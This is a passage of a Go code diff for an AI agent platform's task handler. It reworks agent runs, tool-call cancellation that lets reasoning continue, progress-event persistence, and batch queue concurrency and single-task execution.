+		conversationID, h.conversationProjectID(conversationID), finalMessage, history, roleTools, progressCallback, nil, h.agentSessionContextBlock(conversationID),
+	)
+	if errMA != nil {
 		*taskStatus = "failed"
 		return h.finalizeRobotAgentError(taskCtx, assistantMessageID, conversationID, resultMA, errMA)
 	}
@@ -667,28 +696,12 @@ func (h *AgentHandler) runRobotMultiAgentWithRetry(
 	assistantMessageID string,
 	taskStatus *string,
 ) (string, string, error) {
-	curHist := history
-	curMsg := finalMessage
-	segmentUserMessage := finalMessage
-	var resultMA *multiagent.RunResult
-	var errMA error
-	var transientRunAttempts int
-	for {
-		resultMA, errMA = multiagent.RunDeepAgent(
-			taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
-			conversationID, curMsg, curHist, roleTools, progressCallback,
-			h.agentsMarkdownDir, orchestration, nil, h.projectBlackboardBlock(conversationID),
-		)
-		if errMA == nil {
-			transientRunAttempts = 0
-			break
-		}
-		if handled, _ := h.handleEinoTransientRetryContinue(
-			taskCtx, conversationID, resultMA, errMA, &transientRunAttempts,
-			&curHist, &curMsg, segmentUserMessage, progressCallback, nil,
-		); handled {
-			continue
-		}
+	resultMA, errMA := multiagent.RunDeepAgent(
+		taskCtx, h.config, &h.config.MultiAgent, h.agent, h.db, h.logger,
+		conversationID, h.conversationProjectID(conversationID), finalMessage, history, roleTools, progressCallback,
+		h.agentsMarkdownDir, orchestration, nil, h.agentSessionContextBlock(conversationID),
+	)
+	if errMA != nil {
 		*taskStatus = "failed"
 		return h.finalizeRobotAgentError(taskCtx, assistantMessageID, conversationID, resultMA, errMA)
 	}
@@ -853,11 +866,6 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
 
 	// thinking_stream_*（ReAct 等助手正文流）与 reasoning_chain_stream_*（Eino ReasoningContent）：
 	// 不逐条落库，按 streamId 聚合，flush 时分别落 thinking / reasoning_chain。
-	type thinkingBuf struct {
-		b         strings.Builder
-		meta      map[string]interface{}
-		persistAs string // "thinking" | "reasoning_chain"
-	}
 	thinkingStreams := make(map[string]*thinkingBuf) // streamId -> buf
 	flushedThinking := make(map[string]bool)         // streamId -> flushed
 	seenToolCallSigs := make(map[string]string)      // toolCallId -> payload signature
@@ -870,6 +878,12 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
 	// response_start + response_delta：前端时间线显示为「📝 规划中」（monitor.js），不落逐条 delta；
 	// 聚合为一条 planning 写入 process_details，刷新后与线上一致。
 	var respPlan responsePlanAgg
+	if assistantMessageID != "" {
+		h.tasks.SetHitlAssistantMessageID(conversationID, assistantMessageID)
+	}
+	syncHitlCognition := func() {
+		h.syncHitlCognitionFromProgress(conversationID, assistantMessageID, thinkingStreams, &respPlan)
+	}
 	flushResponsePlan := func() {
 		if assistantMessageID == "" {
 			return
@@ -889,6 +903,7 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
 		if err := h.db.AddProcessDetail(assistantMessageID, conversationID, "planning", content, data); err != nil {
 			h.logger.Warn("保存过程详情失败", zap.Error(err), zap.String("eventType", "planning"))
 		}
+		syncHitlCognition()
 		respPlan.meta = nil
 		respPlan.b.Reset()
 	}
@@ -925,6 +940,7 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
 			}
 			flushedThinking[sid] = true
 		}
+		syncHitlCognition()
 	}
 
 	return func(eventType, message string, data interface{}) {
@@ -985,6 +1001,25 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
 			}
 		}
 
+		if eventType == "tool_result" {
+			if dataMap, ok := data.(map[string]interface{}); ok {
+				toolName, _ := dataMap["toolName"].(string)
+				toolCallID, _ := dataMap["toolCallId"].(string)
+				success := true
+				if v, ok := dataMap["success"].(bool); ok {
+					success = v
+				}
+				resultText := ""
+				if r, ok := dataMap["result"].(string); ok {
+					resultText = r
+				}
+				if strings.TrimSpace(resultText) == "" {
+					resultText = message
+				}
+				h.recordHitlToolExecutionResult(conversationID, toolCallID, toolName, success, resultText)
+			}
+		}
+
 		// 处理知识检索日志记录
 		if eventType == "tool_result" && h.knowledgeManager != nil {
 			if dataMap, ok := data.(map[string]interface{}); ok {
@@ -1159,6 +1194,8 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
 				}
 			}
 			flushResponsePlan()
+			// 助手正文开始前，推理流通常已结束；落库以便刷新后「渗透测试详情」可回放
+			flushThinkingStreams()
 			respPlan.meta = nil
 			if dataMap, ok := data.(map[string]interface{}); ok {
 				respPlan.meta = make(map[string]interface{}, len(dataMap))
@@ -1190,10 +1227,24 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
 					respPlan.meta[k] = v
 				}
 			}
+			syncHitlCognition()
 			return
 		}
 		if eventType == "response" {
 			flushResponsePlan()
+			flushThinkingStreams()
+			return
+		}
+		if eventType == "done" {
+			flushResponsePlan()
+			flushThinkingStreams()
+			return
+		}
+
+		// 流式思考/推理结束：聚合落库（与 eino_agent_reply_stream_end 同理）
+		if eventType == "thinking_stream_end" || eventType == "reasoning_chain_stream_end" {
+			flushResponsePlan()
+			flushThinkingStreams()
 			return
 		}
 
@@ -1246,6 +1297,7 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
 					}
 				}
 			}
+			syncHitlCognition()
 			return
 		}
 
@@ -1268,7 +1320,10 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
 
 		// 保存过程详情到数据库（排除 response/done；response 正文已在 messages 表）
 		// response_start/response_delta 已聚合为 planning，不落逐条。
+		// [Eino] agent 心跳 progress 仅用于实时进度标题，不落库以免时间线刷屏。
+		skipEinoAgentHeartbeat := eventType == "progress" && strings.HasPrefix(strings.TrimSpace(message), "[Eino] ")
 		if assistantMessageID != "" &&
+			!skipEinoAgentHeartbeat &&
 			eventType != "response" &&
 			eventType != "done" &&
 			eventType != "response_start" &&
@@ -1294,10 +1349,60 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
 	}
 }
 
+// cancelToolContinueAfter 仅终止当前工具调用，不停止整条 Agent 任务（对话「中断并继续」与 MCP 监控终止共用）。
+func (h *AgentHandler) cancelToolContinueAfter(conversationID, preferredExecID, note string) (bool, gin.H) {
+	conversationID = strings.TrimSpace(conversationID)
+	if conversationID == "" || h.tasks.GetTask(conversationID) == nil {
+		return false, nil
+	}
+	note = strings.TrimSpace(note)
+	execID := strings.TrimSpace(preferredExecID)
+	if execID == "" {
+		execID = h.tasks.ActiveMCPExecutionID(conversationID)
+	}
+	if execID != "" {
+		if h.agent.CancelMCPToolExecutionWithNote(execID, note) {
+			return true, gin.H{
+				"status":              "tool_abort_requested",
+				"conversationId":      conversationID,
+				"executionId":         execID,
+				"message":             "已请求终止当前工具调用；工具返回后本轮推理将继续（与 MCP 监控页终止一致）。",
+				"continueAfter":       true,
+				"interruptWithNote":   note != "",
+				"continueWithoutTool": false,
+			}
+		}
+		if h.tasks.AbortActiveEinoExecute(conversationID, note) {
+			return true, gin.H{
+				"status":              "tool_abort_requested",
+				"conversationId":      conversationID,
+				"executionId":         execID,
+				"message":             "已请求终止当前 execute 命令；命令返回后本轮推理将继续。",
+				"continueAfter":       true,
+				"interruptWithNote":   note != "",
+				"continueWithoutTool": false,
+			}
+		}
+		return false, nil
+	}
+	if h.tasks.AbortActiveEinoExecute(conversationID, note) {
+		return true, gin.H{
+			"status":              "tool_abort_requested",
+			"conversationId":      conversationID,
+			"message":             "已请求终止当前 execute 命令；命令返回后本轮推理将继续。",
+			"continueAfter":       true,
+			"interruptWithNote":   note != "",
+			"continueWithoutTool": false,
+		}
+	}
+	return false, nil
+}
+
 // CancelAgentLoop 取消正在执行的任务
 func (h *AgentHandler) CancelAgentLoop(c *gin.Context) {
 	var req struct {
 		ConversationID string `json:"conversationId" binding:"required"`
+		ExecutionID    string `json:"executionId,omitempty"`
 		Reason         string `json:"reason,omitempty"`
 		ContinueAfter  bool   `json:"continueAfter,omitempty"`
 	}
@@ -1312,27 +1417,20 @@ func (h *AgentHandler) CancelAgentLoop(c *gin.Context) {
 			c.JSON(http.StatusNotFound, gin.H{"error": "未找到正在执行的任务"})
 			return
 		}
-		execID := h.tasks.ActiveMCPExecutionID(req.ConversationID)
 		note := strings.TrimSpace(req.Reason)
-		if execID != "" {
-			if !h.agent.CancelMCPToolExecutionWithNote(execID, note) {
-				c.JSON(http.StatusNotFound, gin.H{"error": "未找到进行中的工具执行或该调用已结束"})
-				return
-			}
-			h.logger.Info("对话页仅终止当前 MCP 工具",
+		activeExec := strings.TrimSpace(h.tasks.ActiveMCPExecutionID(req.ConversationID))
+		if ok, payload := h.cancelToolContinueAfter(req.ConversationID, strings.TrimSpace(req.ExecutionID), note); ok {
+			execID, _ := payload["executionId"].(string)
+			h.logger.Info("对话页仅终止当前工具",
 				zap.String("conversationId", req.ConversationID),
 				zap.String("executionId", execID),
 				zap.Bool("hasNote", note != ""),
 			)
-			c.JSON(http.StatusOK, gin.H{
-				"status":              "tool_abort_requested",
-				"conversationId":      req.ConversationID,
-				"executionId":         execID,
-				"message":             "已请求终止当前工具调用；工具返回后本轮推理将继续（与 MCP 监控页终止一致）。",
-				"continueAfter":       true,
-				"interruptWithNote":   note != "",
-				"continueWithoutTool": false,
-			})
+			c.JSON(http.StatusOK, payload)
+			return
+		}
+		if activeExec != "" {
+			c.JSON(http.StatusNotFound, gin.H{"error": "未找到进行中的工具执行或该调用已结束"})
 			return
 		}
 		// 无进行中的 MCP 工具（模型纯推理/流式输出阶段）：取消当前上下文并由 Eino 流式处理器合并用户补充后自动续跑。
@@ -1364,6 +1462,8 @@ func (h *AgentHandler) CancelAgentLoop(c *gin.Context) {
 
 	var cause error = ErrTaskCancelled
 	msg := "已提交取消请求，任务将在当前步骤完成后停止。"
+	h.cancelActiveMCPToolForConversation(req.ConversationID)
+	h.tasks.AbortActiveEinoExecute(req.ConversationID, "")
 	ok, err := h.tasks.CancelTask(req.ConversationID, cause)
 	if err != nil {
 		h.logger.Error("取消任务失败", zap.Error(err))
@@ -1430,17 +1530,51 @@ func (h *AgentHandler) SubscribeAgentTaskEvents(c *gin.Context) {
 	}
 }
 
+// enrichAgentTasksWithConversationTitles 为任务列表附加当前会话标题（供顶栏/任务页展示，重命名后自动同步）
+func (h *AgentHandler) enrichAgentTasksWithConversationTitles(tasks []*AgentTask) {
+	if h == nil || h.db == nil {
+		return
+	}
+	for _, task := range tasks {
+		if task == nil || strings.TrimSpace(task.ConversationID) == "" {
+			continue
+		}
+		if title, err := h.db.GetConversationTitle(task.ConversationID); err == nil {
+			task.Title = strings.TrimSpace(title)
+		}
+	}
+}
+
+// enrichCompletedTasksWithConversationTitles 为已完成任务附加当前会话标题
+func (h *AgentHandler) enrichCompletedTasksWithConversationTitles(tasks []*CompletedTask) {
+	if h == nil || h.db == nil {
+		return
+	}
+	for _, task := range tasks {
+		if task == nil || strings.TrimSpace(task.ConversationID) == "" {
+			continue
+		}
+		if title, err := h.db.GetConversationTitle(task.ConversationID); err == nil {
+			task.Title = strings.TrimSpace(title)
+		}
+	}
+}
+
 // ListAgentTasks 列出所有运行中的任务
 func (h *AgentHandler) ListAgentTasks(c *gin.Context) {
+	tasks := h.tasks.GetActiveTasks()
+	h.enrichAgentTasksWithConversationTitles(tasks)
 	c.JSON(http.StatusOK, gin.H{
-		"tasks": h.tasks.GetActiveTasks(),
+		"tasks": tasks,
 	})
 }
 
 // ListCompletedTasks 列出最近完成的任务历史
 func (h *AgentHandler) ListCompletedTasks(c *gin.Context) {
+	tasks := h.tasks.GetCompletedTasks()
+	h.enrichCompletedTasksWithConversationTitles(tasks)
 	c.JSON(http.StatusOK, gin.H{
-		"tasks": h.tasks.GetCompletedTasks(),
+		"tasks": tasks,
 	})
 }
 
@@ -1454,6 +1588,7 @@ type BatchTaskRequest struct {
 	CronExpr     string   `json:"cronExpr,omitempty"`       // scheduleMode=cron 时必填
 	ExecuteNow   bool     `json:"executeNow,omitempty"`     // 创建后是否立即执行（默认 false）
 	ProjectID    string   `json:"projectId,omitempty"`      // 队列内子对话绑定的项目（可选）
+	Concurrency  int      `json:"concurrency,omitempty"`    // 同时执行的子任务数，默认 1，最大 8
 }
 
 // batchQueueWantsEino 队列是否配置为走 Eino 多代理。
@@ -1513,7 +1648,7 @@ func (h *AgentHandler) CreateBatchQueue(c *gin.Context) {
 		nextRunAt = &next
 	}
 
-	queue, createErr := h.batchTaskManager.CreateBatchQueue(req.Title, req.Role, agentMode, scheduleMode, cronExpr, req.ProjectID, nextRunAt, validTasks)
+	queue, createErr := h.batchTaskManager.CreateBatchQueue(req.Title, req.Role, agentMode, scheduleMode, cronExpr, req.ProjectID, nextRunAt, req.Concurrency, validTasks)
 	if createErr != nil {
 		c.JSON(http.StatusBadRequest, gin.H{"error": createErr.Error()})
 		return
@@ -1637,6 +1772,7 @@ func (h *AgentHandler) ListBatchQueues(c *gin.Context) {
 // StartBatchQueue 开始执行批量任务队列
 func (h *AgentHandler) StartBatchQueue(c *gin.Context) {
 	queueID := c.Param("queueId")
+	h.batchTaskManager.ClearSingleRunTask(queueID)
 	ok, err := h.startBatchQueueExecution(queueID, false)
 	if err != nil {
 		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
@@ -1668,6 +1804,7 @@ func (h *AgentHandler) RerunBatchQueue(c *gin.Context) {
 		c.JSON(http.StatusInternalServerError, gin.H{"error": "重置队列失败"})
 		return
 	}
+	h.batchTaskManager.ClearSingleRunTask(queueID)
 	ok, err := h.startBatchQueueExecution(queueID, false)
 	if err != nil {
 		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
@@ -1701,15 +1838,16 @@ func (h *AgentHandler) PauseBatchQueue(c *gin.Context) {
 func (h *AgentHandler) UpdateBatchQueueMetadata(c *gin.Context) {
 	queueID := c.Param("queueId")
 	var req struct {
-		Title     string `json:"title"`
-		Role      string `json:"role"`
-		AgentMode string `json:"agentMode"`
+		Title       string `json:"title"`
+		Role        string `json:"role"`
+		AgentMode   string `json:"agentMode"`
+		Concurrency *int   `json:"concurrency"`
 	}
 	if err := c.ShouldBindJSON(&req); err != nil {
 		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
 		return
 	}
-	if err := h.batchTaskManager.UpdateQueueMetadata(queueID, req.Title, req.Role, req.AgentMode); err != nil {
+	if err := h.batchTaskManager.UpdateQueueMetadata(queueID, req.Title, req.Role, req.AgentMode, req.Concurrency); err != nil {
 		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
 		return
 	}
@@ -1784,9 +1922,17 @@ func (h *AgentHandler) SetBatchQueueScheduleEnabled(c *gin.Context) {
 // DeleteBatchQueue 删除批量任务队列
 func (h *AgentHandler) DeleteBatchQueue(c *gin.Context) {
 	queueID := c.Param("queueId")
-	success := h.batchTaskManager.DeleteQueue(queueID)
-	if !success {
-		c.JSON(http.StatusNotFound, gin.H{"error": "队列不存在"})
+	if err := h.batchTaskManager.DeleteQueue(queueID); err != nil {
+		switch {
+		case errors.Is(err, ErrBatchQueueNotFound):
+			c.JSON(http.StatusNotFound, gin.H{"error": "队列不存在"})
+		case errors.Is(err, ErrBatchQueueExecutorActive):
+			c.JSON(http.StatusConflict, gin.H{"error": "队列执行器仍在运行，请稍后再删除"})
+		case errors.Is(err, ErrBatchQueueStillRunning):
+			c.JSON(http.StatusConflict, gin.H{"error": "队列正在运行中，无法删除"})
+		default:
+			c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		}
 		return
 	}
 	if h.audit != nil {
@@ -1867,6 +2013,53 @@ func (h *AgentHandler) AddBatchTask(c *gin.Context) {
 	c.JSON(http.StatusOK, gin.H{"message": "任务已添加", "task": task, "queue": queue})
 }
 
+// RunSingleBatchTask 单条执行指定子任务（可覆盖已成功项），完成后暂停队列
+func (h *AgentHandler) RunSingleBatchTask(c *gin.Context) {
+	queueID := c.Param("queueId")
+	taskID := c.Param("taskId")
+
+	if err := h.batchTaskManager.PrepareSingleTaskRun(queueID, taskID); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	h.batchTaskManager.SetSingleRunTask(queueID, taskID)
+
+	// 暂停态单条执行：旧批量协程可能仍占用执行槽，先回收以便重新启动
+	if queue, ok := h.batchTaskManager.GetBatchQueue(queueID); ok && queue.Status == BatchQueueStatusPaused {
+		h.batchTaskManager.ForceUnmarkQueueExecutor(queueID)
+	}
+
+	autoStarted := true
+	autoStartMsg := "已开始单条执行"
+	ok, startErr := h.startBatchQueueExecution(queueID, false)
+	if startErr != nil {
+		h.batchTaskManager.ClearSingleRunTask(queueID)
+		autoStarted = false
+		autoStartMsg = "任务已准备就绪，但自动启动失败: " + startErr.Error()
+	} else if !ok {
+		h.batchTaskManager.ClearSingleRunTask(queueID)
+		autoStarted = false
+		autoStartMsg = "任务已准备就绪，但队列不存在"
+	}
+
+	queue, exists := h.batchTaskManager.GetBatchQueue(queueID)
+	if !exists {
+		c.JSON(http.StatusNotFound, gin.H{"error": "队列不存在"})
+		return
+	}
+	if h.audit != nil {
+		h.audit.RecordOK(c, "task", "run_single_batch_task", "单条执行批量子任务", "batch_task", taskID, map[string]interface{}{
+			"batch_queue_id": queueID,
+			"auto_started":   autoStarted,
+		})
+	}
+	c.JSON(http.StatusOK, gin.H{
+		"message":     autoStartMsg,
+		"queue":       queue,
+		"autoStarted": autoStarted,
+	})
+}
+
 // DeleteBatchTask 删除批量任务
 func (h *AgentHandler) DeleteBatchTask(c *gin.Context) {
 	queueID := c.Param("queueId")
@@ -1892,22 +2085,6 @@ func (h *AgentHandler) DeleteBatchTask(c *gin.Context) {
 	c.JSON(http.StatusOK, gin.H{"message": "任务已删除", "queue": queue})
 }
 
-func (h *AgentHandler) markBatchQueueRunning(queueID string) bool {
-	h.batchRunnerMu.Lock()
-	defer h.batchRunnerMu.Unlock()
-	if _, exists := h.batchRunning[queueID]; exists {
-		return false
-	}
-	h.batchRunning[queueID] = struct{}{}
-	return true
-}
-
-func (h *AgentHandler) unmarkBatchQueueRunning(queueID string) {
-	h.batchRunnerMu.Lock()
-	defer h.batchRunnerMu.Unlock()
-	delete(h.batchRunning, queueID)
-}
-
 func (h *AgentHandler) nextBatchQueueRunAt(cronExpr string, from time.Time) (*time.Time, error) {
 	expr := strings.TrimSpace(cronExpr)
 	if expr == "" {
@@ -1923,43 +2100,43 @@ func (h *AgentHandler) nextBatchQueueRunAt(cronExpr string, from time.Time) (*ti
 
 func (h *AgentHandler) startBatchQueueExecution(queueID string, scheduled bool) (bool, error) {
 	// 先获取执行互斥门，再读取队列状态，避免基于过时快照做判断
-	if !h.markBatchQueueRunning(queueID) {
+	if !h.batchTaskManager.TryMarkQueueExecutor(queueID) {
 		return true, nil
 	}
 
 	queue, exists := h.batchTaskManager.GetBatchQueue(queueID)
 	if !exists {
-		h.unmarkBatchQueueRunning(queueID)
+		h.batchTaskManager.UnmarkQueueExecutor(queueID)
 		return false, nil
 	}
 
 	if scheduled {
 		if queue.ScheduleMode != "cron" {
-			h.unmarkBatchQueueRunning(queueID)
+			h.batchTaskManager.UnmarkQueueExecutor(queueID)
 			err := fmt.Errorf("队列未启用 cron 调度")
 			h.batchTaskManager.SetLastScheduleError(queueID, err.Error())
 			return true, err
 		}
 		if queue.Status == "running" || queue.Status == "paused" || queue.Status == "cancelled" {
-			h.unmarkBatchQueueRunning(queueID)
+			h.batchTaskManager.UnmarkQueueExecutor(queueID)
 			err := fmt.Errorf("当前队列状态不允许被调度执行")
 			h.batchTaskManager.SetLastScheduleError(queueID, err.Error())
 			return true, err
 		}
 		if !h.batchTaskManager.ResetQueueForRerun(queueID) {
-			h.unmarkBatchQueueRunning(queueID)
+			h.batchTaskManager.UnmarkQueueExecutor(queueID)
 			err := fmt.Errorf("重置队列失败")
 			h.batchTaskManager.SetLastScheduleError(queueID, err.Error())
 			return true, err
 		}
 		queue, _ = h.batchTaskManager.GetBatchQueue(queueID)
 	} else if queue.Status != "pending" && queue.Status != "paused" {
-		h.unmarkBatchQueueRunning(queueID)
+		h.batchTaskManager.UnmarkQueueExecutor(queueID)
 		return true, fmt.Errorf("队列状态不允许启动")
 	}
 
 	if queue != nil && batchQueueWantsEino(queue.AgentMode) && (h.config == nil || !h.config.MultiAgent.Enabled) {
-		h.unmarkBatchQueueRunning(queueID)
+		h.batchTaskManager.UnmarkQueueExecutor(queueID)
 		err := fmt.Errorf("当前队列配置为 Eino 多代理，但系统未启用多代理")
 		if scheduled {
 			h.batchTaskManager.SetLastScheduleError(queueID, err.Error())
@@ -2011,314 +2188,6 @@ func (h *AgentHandler) batchQueueSchedulerLoop() {
 	}
 }
 
-// executeBatchQueue 执行批量任务队列
-func (h *AgentHandler) executeBatchQueue(queueID string) {
-	defer h.unmarkBatchQueueRunning(queueID)
-	h.logger.Info("开始执行批量任务队列", zap.String("queueId", queueID))
-
-	for {
-		// 检查队列状态
-		queue, exists := h.batchTaskManager.GetBatchQueue(queueID)
-		if !exists || queue.Status == "cancelled" || queue.Status == "completed" || queue.Status == "paused" {
-			break
-		}
-
-		// 获取下一个任务
-		task, hasNext := h.batchTaskManager.GetNextTask(queueID)
-		if !hasNext {
-			// 所有任务完成：汇总子任务失败信息便于排障
-			q, ok := h.batchTaskManager.GetBatchQueue(queueID)
-			lastRunErr := ""
-			if ok {
-				for _, t := range q.Tasks {
-					if t.Status == "failed" && t.Error != "" {
-						lastRunErr = t.Error
-					}
-				}
-			}
-			h.batchTaskManager.SetLastRunError(queueID, lastRunErr)
-			h.batchTaskManager.UpdateQueueStatus(queueID, "completed")
-			h.logger.Info("批量任务队列执行完成", zap.String("queueId", queueID))
-			break
-		}
-
-		// 更新任务状态为运行中
-		h.batchTaskManager.UpdateTaskStatus(queueID, task.ID, "running", "", "")
-
-		// 创建新对话
-		title := safeTruncateString(task.Message, 50)
-		batchMeta := audit.ConversationCreateMeta("batch_task")
-		batchMeta.ProjectID = effectiveProjectID(h.config, queue.ProjectID)
-		conv, err := h.db.CreateConversation(title, batchMeta)
-		var conversationID string
-		if err != nil {
-			h.logger.Error("创建对话失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
-			h.batchTaskManager.UpdateTaskStatus(queueID, task.ID, "failed", "", "创建对话失败: "+err.Error())
-			h.batchTaskManager.MoveToNextTask(queueID)
-			continue
-		}
-		conversationID = conv.ID
-
-		// 保存conversationId到任务中（即使是运行中状态也要保存，以便查看对话）
-		h.batchTaskManager.UpdateTaskStatusWithConversationID(queueID, task.ID, "running", "", "", conversationID)
-
-		// 应用角色用户提示词和工具配置
-		finalMessage := task.Message
-		var roleTools []string // 角色配置的工具列表
-		if queue.Role != "" && queue.Role != "默认" {
-			if h.config.Roles != nil {
-				if role, exists := h.config.Roles[queue.Role]; exists && role.Enabled {
-					// 应用用户提示词
-					if role.UserPrompt != "" {
-						finalMessage = role.UserPrompt + "\n\n" + task.Message
-						h.logger.Info("应用角色用户提示词", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("role", queue.Role))
-					}
-					// 获取角色配置的工具列表（优先使用tools字段，向后兼容mcps字段）
-					if len(role.Tools) > 0 {
-						roleTools = role.Tools
-						h.logger.Info("使用角色配置的工具列表", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("role", queue.Role), zap.Int("toolCount", len(roleTools)))
-					}
-				}
-			}
-		}
-
-		// 保存用户消息（保存原始消息，不包含角色提示词）
-		_, err = h.db.AddMessage(conversationID, "user", task.Message, nil)
-		if err != nil {
-			h.logger.Error("保存用户消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID), zap.Error(err))
-		}
-
-		// 预先创建助手消息，以便关联过程详情
-		assistantMsg, err := h.db.AddMessage(conversationID, "assistant", "处理中...", nil)
-		if err != nil {
-			h.logger.Error("创建助手消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID), zap.Error(err))
-			// 如果创建失败，继续执行但不保存过程详情
-			assistantMsg = nil
-		}
-
-		// 创建进度回调函数，复用统一逻辑（批量任务不需要流式事件，所以传入nil）
-		var assistantMessageID string
-		if assistantMsg != nil {
-			assistantMessageID = assistantMsg.ID
-		}
-		// 注意：批量任务没有前端直连的 POST /stream，因此若要支持「刷新后补流」，
-		// 需要把进度事件镜像到 TaskEventBus（GET /api/agent-loop/task-events 会订阅这里）。
-		// progressCallback 将在子任务的 IIFE 内创建，以便拿到 taskCtx/cancelWithCause 与 sendEvent。
-		var progressCallback func(eventType, message string, data interface{})
-
-		// 执行任务（使用包含角色提示词的finalMessage和角色工具列表）
-		h.logger.Info("执行批量任务", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("message", task.Message), zap.String("role", queue.Role), zap.String("conversationId", conversationID))
-
-		func() {
-			// 与对话流式接口一致：同 conversationId 仅允许一个运行中任务，并支持 /api/agent-loop/cancel 与会话锁对齐。
-			baseCtx, cancelWithCause := context.WithCancelCause(context.Background())
-			// 单个子任务超时：6 小时（与原先 WithTimeout(Background) 一致）
-			taskCtx, timeoutCancel := context.WithTimeout(baseCtx, 6*time.Hour)
-
-			registered := false
-			finishStatus := "completed"
-
-			defer func() {
-				h.batchTaskManager.SetTaskCancel(queueID, nil)
-				timeoutCancel()
-				if registered {
-					// 与流式接口保持一致：结束前补一个 done，便于前端 task-events 侧及时收口 UI。
-					if h.taskEventBus != nil {
-						ev := StreamEvent{Type: "done", Message: "", Data: map[string]interface{}{"conversationId": conversationID}}
-						if b, err := json.Marshal(ev); err == nil {
-							h.taskEventBus.Publish(conversationID, append(append([]byte("data: "), b...), '\n', '\n'))
-						}
-					}
-					h.tasks.FinishTask(conversationID, finishStatus)
-				}
-				cancelWithCause(nil)
-			}()
-
-			// 事件镜像：只发布到 TaskEventBus，不直接写 HTTP Response（用于刷新后的补流）。
-			sendEvent := func(eventType, message string, data interface{}) {
-				if h.taskEventBus == nil {
-					return
-				}
-				ev := StreamEvent{Type: eventType, Message: message, Data: data}
-				b, err := json.Marshal(ev)
-				if err != nil {
-					b = []byte(`{"type":"error","message":"marshal failed"}`)
-				}
-				line := make([]byte, 0, len(b)+8)
-				line = append(line, []byte("data: ")...)
-				line = append(line, b...)
-				line = append(line, '\n', '\n')
-				h.taskEventBus.Publish(conversationID, line)
-			}
-
-			if _, err := h.tasks.StartTask(conversationID, task.Message, cancelWithCause); err != nil {
-				h.logger.Warn("批量队列子任务注册会话运行状态失败",
-					zap.String("queueId", queueID),
-					zap.String("taskId", task.ID),
-					zap.String("conversationId", conversationID),
-					zap.Error(err))
-				failMsg := err.Error()
-				if errors.Is(err, ErrTaskAlreadyRunning) {
-					failMsg = "会话已有任务正在执行，无法在该会话上并行启动批量子任务"
-				}
-				h.batchTaskManager.UpdateTaskStatus(queueID, task.ID, "failed", "", failMsg)
-				return
-			}
-			registered = true
-			// 存储取消函数：暂停队列时取消子任务 context（与原先语义一致）
-			h.batchTaskManager.SetTaskCancel(queueID, timeoutCancel)
-
-			// 创建进度回调函数：写 DB + 镜像到 task-events，支持刷新后继续流式展示。
-			progressCallback = h.createProgressCallback(taskCtx, cancelWithCause, conversationID, assistantMessageID, sendEvent)
-			taskCtx = mcp.WithMCPConversationID(taskCtx, conversationID)
-			taskCtx = mcp.WithToolRunRegistry(taskCtx, h.tasks)
-
-			// 使用队列配置的角色工具列表（如果为空，表示使用所有工具）
-			useBatchMulti := false
-			batchOrch := "deep"
-			am := strings.TrimSpace(strings.ToLower(queue.AgentMode))
-			if am == "multi" {
-				am = "deep"
-			}
-			if batchQueueWantsEino(queue.AgentMode) && h.config != nil && h.config.MultiAgent.Enabled {
-				useBatchMulti = true
-				batchOrch = config.NormalizeMultiAgentOrchestration(am)
-			} else if queue.AgentMode == "" && h.config != nil && h.config.MultiAgent.Enabled && h.config.MultiAgent.BatchUseMultiAgent {
-				// 兼容历史数据：未配置队列代理模式时，沿用旧的系统级开关
-				useBatchMulti = true
-				batchOrch = "deep"
-			}
-			var resultMA *multiagent.RunResult
-			var runErr error
-			switch {
-			case useBatchMulti:
-				resultMA, runErr = multiagent.RunDeepAgent(taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger, conversationID, finalMessage, []agent.ChatMessage{}, roleTools, progressCallback, h.agentsMarkdownDir, batchOrch, nil, h.projectBlackboardBlock(conversationID))
-			default:
-				if h.config == nil {
-					runErr = fmt.Errorf("服务器配置未加载")
-				} else {
-					resultMA, runErr = multiagent.RunEinoSingleChatModelAgent(taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger, conversationID, finalMessage, []agent.ChatMessage{}, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID))
-				}
-			}
-
-			if runErr != nil {
-				if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
-					h.persistEinoAgentTraceForResume(conversationID, resultMA)
-				}
-				errStr := runErr.Error()
-				partialResp := ""
-				if resultMA != nil {
-					partialResp = resultMA.Response
-				}
-				isCancelled := errors.Is(context.Cause(baseCtx), ErrTaskCancelled) ||
-					errors.Is(runErr, context.Canceled) ||
-					strings.Contains(strings.ToLower(errStr), "context canceled") ||
-					strings.Contains(strings.ToLower(errStr), "context cancelled") ||
-					(partialResp != "" && (strings.Contains(partialResp, "任务已被取消") || strings.Contains(partialResp, "任务执行中断")))
-				isTimeout := errors.Is(runErr, context.DeadlineExceeded) || errors.Is(context.Cause(taskCtx), context.DeadlineExceeded)
-
-				if isTimeout {
-					finishStatus = "timeout"
-				} else if isCancelled {
-					finishStatus = "cancelled"
-				} else {
-					finishStatus = "failed"
-				}
-
-				if isCancelled {
